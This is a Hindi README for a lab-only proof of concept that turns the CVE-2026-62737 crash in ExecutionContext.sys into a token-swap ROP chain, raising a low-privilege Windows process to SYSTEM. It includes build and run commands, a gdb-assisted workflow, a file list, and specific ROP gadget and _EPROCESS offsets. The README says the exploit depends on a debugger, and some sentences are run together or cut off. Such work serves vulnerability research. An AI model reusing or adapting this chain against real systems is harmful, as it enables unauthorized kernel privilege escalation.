
कम-विशेषाधिकार वाली Windows प्रक्रिया को gdb-सहायित ROP टोकन-स्वैप श्रृंखला के माध्यम से SYSTEM में उन्नत करता है, केवल-प्रयोगशाला QEMU वातावरण में CVE-2026-62737 का प्रदर्शन करते हुए।
मूल CVE-2026-62737 विवरण
(ExecutionContext.sys मनमाना कर्नेल अप्रत्यक्ष कॉल) का अनुवर्ती। यह क्रैश
PoC को एक कार्यशील टोकन-स्वैप चेन में बदल देता है जो cmd.exe को SYSTEM के रूप में चलाती है, लेकिन केवल
ऐसी लैब में जहाँ एक डीबगर पते प्रदान करता है और ROP चेन को कर्नेल मेमोरी में लिखता है। यह स्टैंडअलोन एक्सप्लॉइट नहीं है।
ExecutionContext डिवाइस खोलता है।0x22EC40) प्रारंभ करता है और एक टास्क (0x22AC54) कतारबद्ध करता है
जिसका Callback एक कर्नेल ROP पिवट है।patch_rop.py) ExecutionContext .data में
टोकन-स्वैप ROP चेन लिखती है और हार्डवेयर ब्रेकपॉइंट के माध्यम से
पिवट-समय RSP/RBP कैप्चर करती है।0x226C5C एग्ज़िट
कॉलबैक) को जगाता है, चेन हमारे टोकन को SYSTEM के टोकन से स्वैप करती है, कर्नेल
स्टैक को पुनर्स्थापित करती है, और ड्राइवर डिस्पैचर में लौट आती है ताकि वर्कर बचा रहे।gdbserver tcp::1234), एक गेस्ट एजेंट, और Z: के रूप में माउंटेड
होस्ट/गेस्ट शेयर्ड फ़ोल्डर वाला एक VM।\\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535} खोल सकता है।x86_64-w64-mingw32-gcc) और gdb।x86_64-w64-mingw32-gcc -O2 -municode -o exploit.exe exploit.c
x86_64-w64-mingw32-gcc -O2 -o modlist.exe modlist.c
नए बेस प्राप्त करें: ./ga.py 'Z:\modlist.exe' (modlist.exe को शेयर्ड फ़ोल्डर में कॉपी करने के बाद)
स्क्रिप्ट अपडेट करें: ./refresh_bases.sh
exploit.exe और modlist.exe को शेयर्ड फ़ोल्डर में कॉपी करें।
निम्न उपयोगकर्ता के रूप में एक्सप्लॉइट चलाएँ: exploit.exe <nt> <ec> <ec+0x10A00>।
यह अपना PID Z:\lab_pid.txt में लिखता है और Z:\go_lab.txt की प्रतीक्षा करता है।
gdb अटैच करें, LAB_PID_FILE को lab_pid.txt की होस्ट कॉपी की ओर इंगित करते हुए:
LAB_PID_FILE=/path/to/shared/lab_pid.txt \
gdb -q -ex 'target remote :1234' -ex 'set pagination off' -x patch_rop.py
gdb प्रॉम्प्ट पर continue टाइप करें।
MIT, LICENSE देखें।
| फ़ाइल | उद्देश्य |
|---|
exploit.c | लैब एक्सप्लॉइट: init + queue + gdb पैच की प्रतीक्षा + टोकन जाँच + cmd स्पॉन। |
patch_rop.py | gdb स्क्रिप्ट: हमारे EPROCESS का पता लगाती है, ROP चेन लिखती है, पिवट ब्रेकपॉइंट सक्रिय करती है। |
trace_rop.py | समान सेटअप, लेकिन डीबगिंग के लिए चेन को सिंगल-स्टेप करता है। |
refresh_bases.sh | modlist.exe आउटपुट से gdb स्क्रिप्ट में प्रति-बूट nt/ec बेस अपडेट करता है। |
modlist.c | प्रति-बूट ntoskrnl / ExecutionContext बेस प्रिंट करता है (लैब KASLR ओरेकल)। |
ga.py | QEMU गेस्ट एजेंट के माध्यम से लैब VM के अंदर कमांड चलाता है। |
एक्सप्लॉइट को रिलीज़ करें: touch /path/to/shared/go_lab.txt
~15 सेकंड के बाद, Z:\lab_exploit_out.txt में system=1 दिखना चाहिए और
Z:\lab_shell_out.txt में nt authority\system होना चाहिए।
| आइटम | मान |
|---|
| ROP पिवट (पूर्ण) | nt + 0x6A6A40 |
pop rcx; ret | nt + 0x28843A |
pop rdx; ret | nt + 0x2FECD2 |
mov [rcx], rdx; ret | nt + 0x3BC6A7 |
ret | nt + 0x20043B |
pop rsp; ret | nt + 0x2006C4 |
PsInitialSystemProcess | nt + 0xFC6AF0 |
_EPROCESS.Token | 0x248 |
_EPROCESS.UniqueProcessId | 0x1D0 |
_EPROCESS.ActiveProcessLinks | 0x1D8 |